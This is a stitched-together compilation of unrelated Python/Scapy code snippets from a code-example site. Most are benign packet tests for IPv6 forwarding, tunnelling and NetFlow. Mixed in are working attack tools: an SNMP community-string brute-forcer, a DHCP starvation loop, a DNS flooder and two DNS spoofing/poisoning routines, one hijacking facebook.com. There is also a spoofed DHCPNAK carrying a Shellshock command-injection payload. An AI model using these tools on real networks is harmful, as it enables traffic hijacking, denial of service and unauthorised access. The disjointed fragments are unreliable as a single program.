def test_02_unknown_redirected_through_chain(self):
        pkt = \
         IP(dst=self.PROXY_HOST) / \
         UDP(sport=12345, dport=19523) / \
         GLBGUE(private_data=GLBGUEChainedRouting(hops=[self.ALT_HOST, self.SELF_HOST])) / \
         IP(src=self.SELF_HOST, dst=self.VIP) / \
         TCP(sport=9999, dport=22, flags='A')

        # expect the packet to arrive back to us as a FOU packet since nobody knew about the connection
        # should arrive from the last host in the chain that wasn't us.
        resp_ip = self._sendrecv4(
            pkt, filter='host {} and udp and port 19523'.format(self.ALT_HOST))
        assert isinstance(resp_ip, IP)
        assert_equals(
            resp_ip.src,
            self.ALT_HOST)  # outer FOU will come from penultimate hop
        assert_equals(resp_ip.dst, self.SELF_HOST)

        resp_fou = resp_ip.payload
        assert isinstance(resp_fou, UDP)
        assert_equals(resp_fou.sport, 12345)
        assert_equals(resp_fou.dport, 19523)

        resp_gue = resp_fou.payload
        assert isinstance(resp_gue, GLBGUE)

        resp_inner_ip = resp_gue.payload
        assert isinstance(resp_inner_ip, IP)
        assert_equals(resp_inner_ip.src, self.SELF_HOST)
        assert_equals(resp_inner_ip.dst, self.VIP)

        resp_inner_tcp = resp_inner_ip.payload
        assert isinstance(resp_inner_tcp, TCP)
        assert_equals(resp_inner_tcp.sport, 9999)
        assert_equals(resp_inner_tcp.dport, 22)
Exemple #2
0
def test_task08(riot_ctrl, log_nodes):
    node = riot_ctrl(0, APP, Shell, port=TAP)
    host_netif = bridge(TAP)
    host_lladdr = get_link_local(host_netif)

    node_netifs = NETIF_PARSER.parse(node.ifconfig_list())
    node_netif = next(iter(node_netifs))
    node_hwaddr = node_netifs[node_netif]["hwaddr"]
    node_lladdr = [
        addr["addr"] for addr in node_netifs[node_netif]["ipv6_addrs"]
        if addr["scope"] == "link"
    ][0]
    ip_addr_add(host_netif, "beef::1/64")
    ip_route_add(host_netif, "affe::/64", node_lladdr)
    node.nib_route_add(node_netif, "beef::/64", host_lladdr)
    node.nib_route_add(node_netif, "affe::/64", "fe80::ab25:f123")

    pkt = srp1(Ether(dst=node_hwaddr) /
               IPv6(src="beef::1", dst="affe::1", hlim=1) / UDP(dport=48879),
               iface=host_netif,
               timeout=5,
               verbose=log_nodes)
    assert ICMPv6TimeExceeded in pkt
    assert pkt[ICMPv6TimeExceeded].code == 0
    assert pkt[IPv6].src == node_lladdr
Exemple #3
0
def test_task09(riot_ctrl, log_nodes):
    node = riot_ctrl(0, APP, Shell, port=TAP)
    host_netif = bridge(TAP)
    host_lladdr = get_link_local(host_netif)

    node_netifs = NETIF_PARSER.parse(node.ifconfig_list())
    node_netif = next(iter(node_netifs))
    node_hwaddr = node_netifs[node_netif]["hwaddr"]
    node_lladdr = [
        addr["addr"] for addr in node_netifs[node_netif]["ipv6_addrs"]
        if addr["scope"] == "link"
    ][0]
    ip_addr_add(host_netif, "beef::1/64")
    ip_route_add(host_netif, "affe::/64", node_lladdr)
    node.nib_route_add(node_netif, "beef::/64", host_lladdr)
    node.nib_route_add(node_netif, "affe::/64", "fe80::ab25:f123")

    pkt = srp1(Ether(dst=node_hwaddr) /
               IPv6(src="beef::1", dst="affe::1", plen=20) / UDP(dport=48879),
               iface=host_netif,
               timeout=5,
               verbose=log_nodes)
    assert ICMPv6ParamProblem in pkt
    assert pkt[ICMPv6ParamProblem].code == 0
    err_bytes = raw(pkt[IPerror6])
    ptr = pkt[ICMPv6ParamProblem].ptr
    # plen is a 2 byte field in network byte order (big endian)
    ptr_val = (err_bytes[ptr] << 8) | err_bytes[ptr + 1]
    assert ptr_val == 20
    assert pkt[IPv6].src == node_lladdr
Exemple #4
0
 def __init__(self):
     self.Ether = Ether()
     self.IP = IP()
     self.ARP = ARP()
     self.TCP = TCP()
     self.UDP = UDP()
     self.ICMP = ICMP()
Exemple #5
0
def test_task07(riot_ctrl, log_nodes):
    node = riot_ctrl(0,
                     APP,
                     Shell,
                     cflags="-DCONFIG_GNRC_IPV6_NIB_SLAAC=1 "
                     "-DCONFIG_GNRC_IPV6_NIB_QUEUE_PKT=1",
                     termflags="-z [::]:17755",
                     modules="socket_zep",
                     port=TAP)
    host_netif = bridge(TAP)
    host_lladdr = get_link_local(host_netif)

    time.sleep(5)
    node_netifs = NETIF_PARSER.parse(node.ifconfig_list())
    node_netif = [n for n in node_netifs if node_netifs[n]["mtu"] == 1500][0]
    fwd_netif = [n for n in node_netifs if node_netifs[n]["mtu"] < 1500][0]
    node_hwaddr = node_netifs[node_netif]["hwaddr"]
    node_lladdr = [
        addr["addr"] for addr in node_netifs[node_netif]["ipv6_addrs"]
        if addr["scope"] == "link"
    ][0]
    ip_addr_add(host_netif, "beef::1/64")
    ip_route_add(host_netif, "affe::/64", node_lladdr)
    node.nib_route_add(node_netif, "beef::/64", host_lladdr)
    node.nib_route_add(fwd_netif, "affe::/64", "fe80::ab25:f123")

    pkt = srp1(Ether(dst=node_hwaddr) / IPv6(src="beef::1", dst="affe::1") /
               UDP(dport=48879) / ("x" * 1452),
               iface=host_netif,
               timeout=5,
               verbose=log_nodes)
    assert ICMPv6PacketTooBig in pkt
    assert pkt[ICMPv6PacketTooBig].code == 0
    assert node_netifs[fwd_netif]["mtu"] == pkt[ICMPv6PacketTooBig].mtu == 1280
    assert pkt[IPv6].src == node_lladdr
Exemple #6
0
def scapy_send_dns_requests(number_of_packets):
    for _ in range(number_of_packets):
        dns_request = Ether(src=ethernet_src, dst=ethernet_dst) /\
                      IP(src=ip_src, dst=ip_dst) /\
                      UDP(dport=53, sport=randint(1024, 65535)) /\
                      DNS(id=randint(1, 1000), rd=1, qd=DNSQR(qname="www." + str(randint(1, 1000)) + ".com"))
        sendp(dns_request, verbose=False)
Exemple #7
0
def cmd_snmp_crack(ip, port, stop, verbose):

    FILEDIR = os.path.dirname(os.path.abspath(__file__))
    DATADIR = os.path.abspath(os.path.join(FILEDIR, '../data'))
    COMMFILE = Path(os.path.abspath(os.path.join(DATADIR, 'dict_snmp.txt')))

    with COMMFILE.open() as cf:
        communities = cf.read().split('\n')

    conf.verb = False

    pkt = IP(dst=ip)/UDP(sport=port, dport=port)/SNMP(community="public", PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID("1.3.6.1"))]))

    for community in communities:

        if verbose:
            print('.', end='')
            sys.stdout.flush()

        pkt[SNMP].community=community
        ans = sr1(pkt, timeout=0.5, verbose=0)

        if ans and UDP in ans:
            print('\nCommunity found:', community)
            if stop:
                break

    return True
Exemple #8
0
 def modify(packet):
     pkt = IP(packet.get_payload())
     if pkt.qd.qname == b'facebook.com.':
         print(pkt.show())
         p = Ether(
             dst=self.MacList[0], src=self.LocalMac,
             type=2048) / IP(src=pkt[IP].dst, dst=pkt[IP].src) / UDP(
                 sport=53, dport=pkt[UDP].sport) / DNS(
                     id=pkt[DNS].id,
                     qr=1,
                     qdcount=1,
                     ancount=1,
                     nscount=0,
                     arcount=0,
                     qd=DNSQR(
                         qname=pkt[DNS].qd.qname, qtype=1, qclass=1),
                     an=DNSRR(rrname=pkt[DNS].qd.qname,
                              type=1,
                              rclass=1,
                              rdata=ip),
                     ns=None,
                     ar=None)
         sendp(p, verbose=0)
         #packet.set_payload(bytes(str(pkt), 'utf-8')) #set the packet content to our modified version
         packet.drop()  #drop the packet
     else:
         packet.accept()
Exemple #9
0
def is_up_udp(ip):
    icmp = IP(dst=ip) / UDP(dport=0)
    resp = sr1(icmp, timeout=0.5, verbose=False)
    if resp == None:
        return False
    else:
        return True
Exemple #10
0
 def __init__(self, ip_src_address, ip_dst_address):
     """
     Initialize packet crafter. Create headers and template.
     """
     self.header = IP(src=ip_src_address, dst=ip_dst_address) / UDP()
     self.netflow_header = NetflowHeader() / NetflowHeaderV9()
     self.flowset = NetflowFlowsetV9(
         templates=[
             NetflowTemplateV9(
                 template_fields=[
                     NetflowTemplateFieldV9(fieldType=1,
                                            fieldLength=1),  # IN_BYTES
                     NetflowTemplateFieldV9(fieldType=2,
                                            fieldLength=4),  # IN_PKTS
                     NetflowTemplateFieldV9(fieldType=4),  # PROTOCOL
                     NetflowTemplateFieldV9(fieldType=8),  # IPV4_SRC_ADDR
                     NetflowTemplateFieldV9(fieldType=12),  # IPV4_DST_ADDR
                     NetflowTemplateFieldV9(fieldType=7),  # L4_SRC_PORT
                     NetflowTemplateFieldV9(fieldType=11),  # L4_DST_PORT
                     NetflowTemplateFieldV9(fieldType=6),  # TCP_FLAGS
                     NetflowTemplateFieldV9(fieldType=5),  # TOS
                 ],
                 templateID=256,
                 fieldCount=9)
         ],
         flowSetID=0)
     self.recordClass = GetNetflowRecordV9(self.flowset)
Exemple #11
0
    def craft_and_send(pkt,
                       dns_type,
                       segment=None,
                       is_hb=False,
                       real_response=None):
        """
        Craft a spoofed dns response and send it.
        """

        spf_ip = IP(dst=pkt[IP].src)
        spf_udp = UDP(dport=pkt[UDP].sport, sport=53)
        if real_response:
            spf_resp = spf_ip / spf_udp / real_response[DNS]
        else:
            spf_dnsqr = DNSQR(qname=pkt[DNSQR].qname, qtype=dns_type)
            spf_dnsrr = DNSRR(rrname=pkt[DNSQR].qname, ttl=232, type=dns_type)
            if segment:
                spf_dnsrr.rdata = segment
            if is_hb:
                global hb_ip
                spf_dnsrr.rdata = hb_ip
            spf_dns = DNS(qr=1, id=pkt[DNS].id, qd=spf_dnsqr, an=spf_dnsrr)
            spf_resp = spf_ip / spf_udp / spf_dns
        global iface
        send(spf_resp, verbose=0, iface=iface)
Exemple #12
0
    def __init__(
        self,
        target: str,
        protocol: str = "icmp",
        max_ttl: int = 30,
        timeout: int = 5,
        stealth: bool = False,
    ) -> None:
        self.hops = []
        self.max_ttl = max_ttl
        self.protocol = protocol
        self.target = target
        self.time = str(datetime.now())
        self.timeout = timeout
        self.protocol = protocol
        self.stealth = stealth

        payloads = {
            "icmp": ICMP(),
            "tcp": TCP(dport=53, flags="S"),
            "udp": UDP() / DNS(qd=DNSQR(qname=self.target)),
            "http": TCP(dport=80, flags="S"),
            "tls": TCP(dport=443, flags="S"),
        }
        self.payload = payloads.get(self.protocol)
        self.run()
        return
Exemple #13
0
    def port_scan(self, protocol, ip, port_list):
        self.semaphore.acquire()
        with self.concurrent_threads_lock:
            self.concurrent_threads.add(threading.currentThread().getName())
        if self.verbose:
            self.thread_monitoring()

        for port in self.port_list:
            if protocol == 'tcp':
                try:
                    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    s.settimeout(TCP_TIMEOUT)
                    result = s.connect_ex((ip, port))
                    if result == 0:
                        port_data = ('%s/%s' % (port, self.services_dict[port])
                                     if port in self.services_dict else port)
                        port_list.append(port_data)
                except socket.error:
                    pass
                finally:
                    s.close()
            elif protocol == 'udp':
                udp_scan_resp = sr1(IP(dst=ip) / UDP(dport=port),
                                    timeout=TCP_TIMEOUT,
                                    verbose=False)
                if udp_scan_resp and udp_scan_resp.haslayer(UDP):
                    port_data = ('%s/%s' % (port, self.services_dict[port])
                                 if port in self.services_dict else port)
                    port_list.append(port_data)

        with self.concurrent_threads_lock:
            self.concurrent_threads.remove(threading.currentThread().getName())
        self.semaphore.release()
        if self.verbose:
            self.thread_monitoring()
Exemple #14
0
def main():

    if len(sys.argv) < 2:
        print 'pass 2 arguments: <destination>'
        exit(1)

    addr = socket.gethostbyname(sys.argv[1])
    iface = get_if()
    print "sending on interface %s to %s" % (iface, str(addr))

    while True:
        print
        s = str(
            raw_input('Type space separated switch_ids nums '
                      '(example: "2 3 2 2 1") or "q" to quit: '))
        if s == "q":
            break
        print

        i = 0
        pkt = Ether(src=get_if_hwaddr(iface), dst='ff:ff:ff:ff:ff:ff')
        for p in s.split(" "):
            try:
                pkt = pkt / SourceRoute(last_header=0, swid=int(p))
                i = i + 1
            except ValueError:
                pass
        if pkt.haslayer(SourceRoute):
            pkt.getlayer(SourceRoute, i).last_header = 1

        pkt = pkt / IP(dst=addr) / UDP(dport=4321, sport=1234)
        pkt.show2()
        sendp(pkt, iface=iface, verbose=False)
Exemple #15
0
def cmd_dhcp_starvation(iface, timeout, sleeptime, verbose):

    conf.verb = False

    if iface:
        conf.iface = iface

    conf.checkIPaddr = False

    ether = Ether(dst="ff:ff:ff:ff:ff:ff")
    ip = IP(src="0.0.0.0",dst="255.255.255.255")
    udp = UDP(sport=68, dport=67)
    dhcp = DHCP(options=[("message-type","discover"),"end"])

    while True:
        bootp = BOOTP(chaddr=str(RandMAC()))
        dhcp_discover = ether / ip / udp / bootp / dhcp
        ans, unans = srp(dhcp_discover, timeout=1)      # Press CTRL-C after several seconds

        for _, pkt in ans:
            if verbose:
                print(pkt.show())
            else:
                print(pkt.sprintf(r"%IP.src% offers %BOOTP.yiaddr%"))

        sleep(sleeptime)
Exemple #16
0
def test_tamper_udp():
    """
    Tests tampering with UDP
    """
    packet = actions.packet.Packet(
        IP(src='127.0.0.1', dst='127.0.0.1') / UDP(sport=2222, dport=53))
    original = copy.deepcopy(packet)
    tamper = actions.tamper.TamperAction(None,
                                         field="chksum",
                                         tamper_type="replace",
                                         tamper_value=4444,
                                         tamper_proto="UDP")
    lpacket, rpacket = tamper.run(packet, logger)
    assert not rpacket, "Tamper must not return right child"
    assert lpacket, "Tamper must give a left child"
    assert id(lpacket) == id(packet), "Tamper must edit in place"

    # Confirm tamper replaced the field it was supposed to
    assert packet[UDP].chksum == 4444, "Tamper did not replace flags."

    # Confirm tamper didn't corrupt anything in the TCP header
    assert confirm_unchanged(packet, original, UDP, ["chksum"])

    # Confirm tamper didn't corrupt anything else in the IP header
    assert confirm_unchanged(packet, original, IP, [])
Exemple #17
0
def UDP_layer(attributes):
    layer4 = UDP()
    layer4.sport = attributes['sport']
    layer4.dport = attributes['dport']
    layer4.len = attributes['len']

    return layer4
Exemple #18
0
    def nak_request(self, packet):

        # we are hereby handling the case where we detect one other dhcp server besides our own...

        dhcp_server_mac = self.other_dhcp_servers.keys()[0]
        dhcp_server_ip = self.other_dhcp_servers[
            self.other_dhcp_servers.keys()[0]]

        print "Spoofing DHCPNAK from %s / %s" % (dhcp_server_mac,
                                                 dhcp_server_ip)

        nak = Ether(src=dhcp_server_mac, dst=packet[Ether].dst) / \
            IP(src=dhcp_server_ip, dst=packet[IP].dst) / \
            UDP(sport=67, dport=68) / \
            BOOTP(op=2,
                ciaddr=packet[IP].src,
                siaddr=packet[IP].dst,
                chaddr=packet[Ether].src,
                xid=packet[BOOTP].xid) / \
            DHCP(options=[
                ('server_id', dhcp_server_ip),
                ('message-type','nak'),
                (114, "() { ignored;}; touch /tmp/test"),
                ('end')]
            )

        print "sending NAK:"
        nak.show()
        scapy.all.sendp(nak)
Exemple #19
0
def uplink(pkt):
    if IPv6 in pkt:
        #if UDP in pkt and pkt[UDP].dport == 2152:
        #if UDP in pkt:
        #if pkt.nh == 43:
        #    pkt.addresses=["fc00::4","fc00::1","fc00::99"]

        print "got a packet"
        pkt.show()

        #5G PACKET
        pkt5g = Ether(src='00:15:5d:00:00:00', dst='00:15:5d:00:00:04') / IPv6(
            src="fc00::1", dst="fc00::5") / IPv6ExtHdrRouting(
                type=4,
                segleft=2,
                addresses=["fc00::5", "fc00::101", "fc00::100"]) / UDP(
                    sport=64515, dport=2152) / GTP_U_Header(
                        TEID=32, Reserved=0, E=1) / dl_pdu_session(gtp_ext=133,
                                                                   QoSID=14)

        #Full packet (5G + USER DATA)
        pkt2 = pkt5g / pkt[IPv6]

        print "packet sent"
        pkt2.show()
        sendp(pkt2, iface="eth1", verbose=False)
        pkt3 = pkt2[dl_pdu_session]
        pkt4 = pkt3[IPv6]
        pkt4.show()
        main()
Exemple #20
0
def main():

    if len(sys.argv) < 3:
        print('pass 2 arguments: <destination> "<message>"')
        exit(1)

    addr = socket.gethostbyname(sys.argv[1])
    iface = get_if()

    pkt = Ether(src=get_if_hwaddr(iface), dst="ff:ff:ff:ff:ff:ff") / IP(
        dst=addr, options=IPOption_MRI(count=0, swtraces=[])) / UDP(
            dport=4321, sport=1234) / sys.argv[2]

    #   pkt = Ether(src=get_if_hwaddr(iface), dst="ff:ff:ff:ff:ff:ff") / IP(
    #       dst=addr, options = IPOption_MRI(count=2,
    #           swtraces=[SwitchTrace(swid=0,qdepth=0), SwitchTrace(swid=1,qdepth=0)])) / UDP(
    #           dport=4321, sport=1234) / sys.argv[2]
    pkt.show2()
    #hexdump(pkt)
    try:
        for i in range(int(sys.argv[3])):
            sendp(pkt, iface=iface)
            sleep(1)
    except KeyboardInterrupt:
        raise
Exemple #21
0
def send_ack(pkt):
    iface = get_if()
    ack = Ether(src=get_if_hwaddr(iface), dst="ff:ff:ff:ff:ff:ff")
    ack = ack / IP(dst=pkt[IP].src, proto=17) / UDP(dport=4322, sport=1235) / MRI(count=pkt[MRI].count, swtraces=pkt[MRI].swtraces)
    ack.show2()
    sendp(ack, iface=iface, verbose=False)
    print ("ACK sent")    
Exemple #22
0
def dns_poison(pkt):
    # return if the packet does not have a DNS layer
    if not pkt.haslayer(DNSQR): return
    qd = pkt[DNS].qd

    # return if not a dns query or does not have a qtype of "A"
    if pkt[DNS].qr != 0 or qd.qtype != 1: return

    # dns answer with spoofed ip
    dns_an = DNSRR(rrname=qd.qname, type="A", ttl=30, rdata=poison_ip)

    sendp(
        Ether() /  # empty Ether packet makes it work (idk why?)
        IP(src=pkt[IP].dst, dst=pkt[IP].src) /  # switch IP src and dst
        UDP(sport=pkt[UDP].dport, dport=pkt[UDP].sport)
        /  # switch udp sport and dport
        DNS(id=pkt[DNS].id,
            qr=1,
            aa=1,
            ad=1,
            ra=0,
            an=dns_an,
            ancount=1,
            qd=qd),  # spoofed dns packet
        iface=interface,
        verbose=0)
Exemple #23
0
def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('ip_addr',
                        type=str,
                        help="The destination IP address to use")
    parser.add_argument('message',
                        type=str,
                        help="The message to include in packet")
    parser.add_argument(
        '--dst_id',
        type=int,
        default=None,
        help=
        'The myTunnel dst_id to use, if unspecified then myTunnel header will not be included in packet'
    )
    args = parser.parse_args()

    addr = socket.gethostbyname(args.ip_addr)
    dst_id = args.dst_id
    iface = get_if()

    if (dst_id is not None):

        payload = Raw(load="Today is a good day, you bloody wanker.")
        inner_udp = UDP(dport=80, sport=1117)
        inner_ip = IP(dst="8.8.8.8", src="45.45.0.11")
        inner_headers = inner_ip / inner_udp / payload
        gtp_string = '03ff' + '%04x' % len(inner_headers) + '01234567'
        #gtp_inner_headers = Raw(load=bytes.fromhex(gtp_string))/inner_headers
        gtp_inner_headers = Raw(load=gtp_string.decode("hex")) / inner_headers
        outer_udp = UDP(dport=2152, sport=random.randint(49152, 65535))
        outer_ip = IP(dst=addr)

        print "sending UDP"
        pkt = Ether(src=get_if_hwaddr(iface), dst='ff:ff:ff:ff:ff:ff')
        #pkt = pkt / IP(dst=addr) / UDP(dport=2152, sport=random.randint(49152,65535)) / IP(dst='12.3.4.5',src='10.0.0.1') / UDP(dport=8000, sport=8001) / args.message
        pkt = pkt / outer_ip / outer_udp / gtp_inner_headers
    else:
        print "sending on interface {} to IP addr {}".format(iface, str(addr))
        pkt = Ether(src=get_if_hwaddr(iface), dst='ff:ff:ff:ff:ff:ff')
        pkt = pkt / IP(dst=addr) / TCP(
            dport=1234, sport=random.randint(49152, 65535)) / args.message

    pkt.show2()
    #    hexdump(pkt)
    #    print "len(pkt) = ", len(pkt)
    sendp(pkt, iface=iface, verbose=False)
Exemple #24
0
def test_tunSlipSend():
    """
    Test SLIP data sent over the TUN adapter and serial port.

    Start a TUN adapter and send data over it while a thread runs to receive
    data sent over the tunnel and promptly send it over a serial port which is
    running a serial loopback test. Ensures data at the end of the loopback
    test is valid when received over serial. This test does not cover serial
    to TUN/IP nor IP to TUN data validation.
    """
    # Create a test serial port
    serialPort = SerialTestClass()

    # Configure destination IP:port
    destHost = '10.0.0.2'
    destPort = 9999

    # Start the monitor
    TUNMonitor = faraday.Monitor(serialPort=serialPort)

    # Create an IP packet to send from TUN IP:port (arbitrary) to dest IP:port
    srcPacket = (IP(dst=destHost,
                    src=TUNMonitor._TUN._tun.addr) /
                 UDP(sport=9998,
                     dport=destPort) / "Hello, world!").__bytes__()

    # Use scapy to send packet over Faraday
    sendp(srcPacket, iface=TUNMonitor._TUN._tun.name)

    # Manually check TUN adapter for packets in the tunnel
    # This is necessary because the threads are not running
    while True:
        # Loop through packets until correct packet is returned
        packet = TUNMonitor.checkTUN()
        if packet:
            # Strip etherType off of IP packet
            ipPacketSerialTX = packet[4:]
            if IP(ipPacketSerialTX).dst == destHost:
                # Check that packet got through TUN without error
                break
    # Obtained IP packet to destination IP so check that it hasn't changed
    assert ipPacketSerialTX == srcPacket

    # Manually send IP packet over serial port including etherType.
    bytesSent = TUNMonitor.txSerial(packet)
    assert bytesSent is not None    # We expect some data sent
    assert bytesSent > len(packet)  # We expect SLIP encoding to add bytes

    # Receive data over serial port and check packets for test IP packet
    rxBytes = TUNMonitor.rxSerial(TUNMonitor._TUN._tun.mtu)
    for item in rxBytes:
        ipPacketSerialRX = item[4:]
        # Iterate through packets and check for packet to destination IP
        if IP(ipPacketSerialRX).dst == destHost:
            # Found IP packet to destination so break from loop
            break

    # Check that the packet received over the serial loopback == same as sent
    assert ipPacketSerialRX == ipPacketSerialTX
Exemple #25
0
 def test_control_a_lookup(self):
     question = IP(dst=self.controlResolverAddr) / \
                UDP() / \
                DNS(rd=1, qd=DNSQR(qtype="A", qclass="IN", qname=self.hostname))
     log.msg("Performing query to %s with %s:%s" %
             (self.hostname, self.controlResolverAddr,
              self.controlResolverPort))
     yield self.sr1(question)
Exemple #26
0
 def _reset_conn(self, sport, dport, seq):
     rst = \
      IP(dst=self.ALT_HOST) / \
      UDP(sport=12345, dport=19523) / \
      GLBGUE(private_data=GLBGUEChainedRouting(hops=[])) / \
      IPv6(src=self.SELF_HOST_V6, dst=self.VIP) / \
      TCP(sport=sport, dport=dport, flags='R', seq=seq)
     send(rst)
Exemple #27
0
def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('ip_addr',
                        type=str,
                        help="The destination IP address to use")
    parser.add_argument('message',
                        type=str,
                        help="The message to include in packet")
    parser.add_argument(
        '--detnet_identifire',
        type=int,
        default=None,
        help=
        'If unspecified do not include any detnet header otherwise, send with the detnet itentifire'
    )
    parser.add_argument('count',
                        type=int,
                        help="Number of packets need to be sent")
    args = parser.parse_args()

    addr = socket.gethostbyname(args.ip_addr)
    detnet_identifire = args.detnet_identifire
    iface = get_if()

    if (detnet_identifire is not None):
        print "sending the packets with detnet header".format(
            iface, str(detnet_identifire))
        pkt = Ether(src=get_if_hwaddr(iface), dst='ff:ff:ff:ff:ff:ff')
        pkt = pkt / MyDetnet(detnet_identifire=detnet_identifire) / IP(
            dst=addr, options=IPOption_MRI(count=0, swtraces=[])) / UDP(
                dport=4321, sport=1234) / args.message
    else:
        print "sending on interface {} to IP addr {}".format(iface, str(addr))
        pkt = Ether(src=get_if_hwaddr(iface), dst='ff:ff:ff:ff:ff:ff')
        pkt = pkt / IP(dst=addr, options=IPOption_MRI(
            count=0, swtraces=[])) / UDP(dport=4321, sport=1234) / args.message

    pkt.show2()
    #    hexdump(pkt)
    #    print "len(pkt) = ", len(pkt)
    try:
        for i in range(args.count):
            sendp(pkt, iface=iface)
            sleep(1)
    except KeyboardInterrupt:
        raise
Exemple #28
0
def udp_sr1(test_params, udp_test, dtls_wrap=False):
    """Send UDP test message to server using UDP protocol and parses response."""
    response = None
    sent_time = test_params.report_sent_packet()
    if not dtls_wrap:
        if test_params.ip_version == 4:
            udp_test_packet = IP() / UDP() / Raw(udp_test)
            udp_test_packet[IP].src = test_params.src_endpoint.ip_addr
            udp_test_packet[IP].dst = test_params.dst_endpoint.ip_addr
        elif test_params.ip_version == 6:
            udp_test_packet = IPv6() / UDP() / Raw(udp_test)
            udp_test_packet[IPv6].src = test_params.src_endpoint.ipv6_addr
            udp_test_packet[IPv6].dst = test_params.dst_endpoint.ip_addr
        udp_test_packet[UDP].sport = test_params.src_endpoint.port
        udp_test_packet[UDP].dport = test_params.dst_endpoint.port
        del udp_test_packet[UDP].chksum
        # if test_params.verbose:
        #     udp_test_packet.show()
        if test_params.timeout_sec == 0:
            test_params.timeout_sec = 0.0001
        response = sr1(
            udp_test_packet,
            verbose=test_params.verbose,
            timeout=test_params.timeout_sec,
            retry=test_params.nr_retries,
        )
        if response:
            print_verbose(test_params,
                          "Received response - size: {}".format(len(response)))
            test_params.report_received_packet(sent_time)
    else:
        # do_patch()
        if test_params.ip_version == 4:
            sock = ssl.wrap_socket(
                socket.socket(socket.AF_INET, socket.SOCK_DGRAM),
                ssl_version=ssl.PROTOCOL_TLSv1_2,
            )
            sock.connect((test_params.dst_endpoint.ip_addr,
                          test_params.dst_endpoint.port))
            sock.send(udp_test)
            response = IP() / UDP() / Raw(sock.recv())
            if response:
                test_params.report_sent_packet(sent_time)

    #            sock.close()
    return response
Exemple #29
0
def gen_pkt(d):
    return (  Ether(src=':'.join("%02x" % (srand.randint(0,255),) for _ in range(6)),
                  dst=':'.join("%02x" % (srand.randint(0,255),) for _ in range(6)))
            / IP(src=d['sip'],
               dst=gen_ip())
            / UDP(sport=int(d['vport']),
                dport=srand.randint(10000,65000))
            / Raw(load=gen_invite(d)))
def create_pkg(n):
    packet = IP(dst=args.h, src=args.h, ttl=args.t)/UDP(sport=args.p-1,dport=args.p,ack=0,pkg=n)
    packet=IP(raw(packet))
    #print(list(expand(packet))) if we want to have a look inside the layers of the package
    print('Sending packet '+str(packet[UDP].pkg))
    sendp(Ether()/packet, iface=args.i,verbose=False)
    a_s=sniff(iface=args.i, prn=ack,lfilter=lambda p: any(proto in p and (p[proto].dport in [args.p-1]) for proto in [UDP]), timeout=args.t, stop_filter =lambda x: x.haslayer(UDP))
    return